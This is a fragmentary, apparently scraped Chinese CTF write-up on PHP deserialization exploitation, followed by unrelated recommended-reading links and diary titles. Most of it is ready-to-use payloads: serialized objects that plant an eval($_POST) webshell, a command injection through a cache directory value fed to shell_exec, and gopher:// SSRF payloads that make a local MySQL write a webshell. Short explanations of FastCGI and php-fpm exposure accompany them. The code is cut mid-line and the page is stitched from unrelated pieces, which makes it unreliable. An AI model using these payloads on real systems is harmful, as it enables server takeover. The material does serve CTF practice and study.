conn=new log(); } } class log{ public $title='a.php'; public $info=''; } $a=new dao(); echo base64_encode(serialize($a)); # TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

public functionclearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); }

class service{...... public function clearCache(){$this->dao->clearCache(); } }

...... require 'service/service.php'; unset($_SESSION['login']); unset($_SESSION['error']); setcookie('user','',0,'/'); $service = unserialize(base64_decode($_COOKIE['service'])); if($service){ $service->clearCache(); } ......

" >a.php; '; //linux的shell里面$有特殊意义所以转义一下。 } class dao{ private $config; public function __construct(){$this->config=new config(); } } $a=new dao(); echo base64_encode(serialize($a)); # TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

public functionclearCache(){if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); } }

function checkUpdate($url){$ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $res = curl_exec($ch); curl_close($ch); return $res; }

public function checkVersion(){return checkUpdate($this->config->update_url); }

# service/dao/config/config.php class config{ private $mysql_username='root'; private $mysql_password='';

config=new config(); } } $a=new dao(); echo base64_encode(serialize($a)); # TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3Nzg6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGIlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNDAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzIlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO319

探测是通过gopher协议的延迟判断的
gopher://127.0.0.1:9000
摘自羽师傅博客

在静态网站中，WEB 容器如 Apache、Nginx 相当于内容分发员的角色， 根据用户请求的页面从网站根目录中返回给用户；而在动态网站中，WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器；当 Apache 收到用户对 index.php 的请求后，如果使用的是 CGI，会启动对应的 CGI 程序，对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件，初始化执行环境，然后处理请求，再以规定 CGI 规定的格式返回处理后的结果，退出进程，Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程
这里说的是使用 CGI，而 FastCGI 就相当于高性能的 CGI，与 CGI 不同的是它像一个常驻的 CGI，在启动后会一直运行着，不需要每次处理数据时都启动一次， 所以这里引出下面这句概念，FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展，其主要行为是将 CGI 解释器进程保持在内存中，并因此获得较高的性能

FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的
也就是说php-fpm是FastCGI的一个具体实现，并且提供了进程管理的功能，在其中的进程中，包含了master和worker进程，这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信，接收 HTTP 请求，再将请求转发给 worker 进程进行处理，**worker 进程主要负责动态执行 PHP 代码，**处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端

假设在配置fpm时，将监听的地址设为了0.0.0.0:9000，那么就会产生php-fpm未授权访问漏洞，此时攻击者可以无需利用SSRF从服务器本地访问的特性，直接与服务器9000端口上的php-fpm进行通信，进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行

config=new config(); } } $a=new dao(); echo base64_encode(serialize($a));

config=new config(); } } echo base64_encode(serialize(new dao())); # TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=

server { listen4476; server_namelocalhost; root/var/flag; index index.html; }# 每一个http块都可以包含多个server块，而每个server块就相当于一台虚拟主机，它内部可有多台主机联合提供服务，一起对外提供在逻辑上关系密切的一组服务

config=new config(); } }echo base64_encode(serialize(new dao())); # TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==

推荐阅读

• 

  奥迪a6清洗大灯开关怎么开启 奥迪a6的大灯清洗开关怎么开
• 

  如果老师打学生算不算犯法行为 如果老师打学生算不算犯法
• 

  孙小果案件全过程简介
• 

  如何防止火龙果花期花变黄 火龙果开花后慢慢黄了怎么办
• 

  php拼接数据库语句 php对接数据库的表
• 

  怎么防止可乐没气
• 

  海尔空调能制冷,其实要这样来理解
• 

  莴笋每天吃多少合适
• 

  同居后分手和离过婚有什么区别吗？如果你不能接受伴侣有过一次婚姻,那可以接受伴侣和其他人同居过吗？
• 

  汽车防盗锁怎么拆除视频 汽车防盗锁怎么拆
• 

  ios13可以刷回ios12吗（ios13能刷回ios12吗）
• 

  高刷
• 

  如何让内网服务器连接到外网？ 内网服务器怎么通外网
• 

  佳能3800清零软件使用-佳能IP3500清零方法和软件
• 

  如何制作一个平台app，自己能制作APP软件吗 能
• 

  破解微擎怎么安装官网模块 破解版微擎配置mysql
• 

  入手华为Mate40RS保时捷 mate40保时捷
• 

  孢子下载,末日孢子下载
• 

  菠萝蜜的丝可以炒什么吃
• 

  池州哪里有 池州是哪个省

• 2018年11月19日|2018年11月19日 星期一 亲子日记第144篇
• 2019年12月24日
• 2019.4.18感恩日记
• 亲子日记第186篇，2018、7、26、星期四、晴
• 2019.4.2咖啡冥想日记
• 亲子日记（287）2019.4.27.
• 布格日记——天赋
• 亲子日记第十二天
• 感恩日记第111篇2020.02.06
• 2018年8月25日|2018年8月25日 星期六 晴 亲子日记第259篇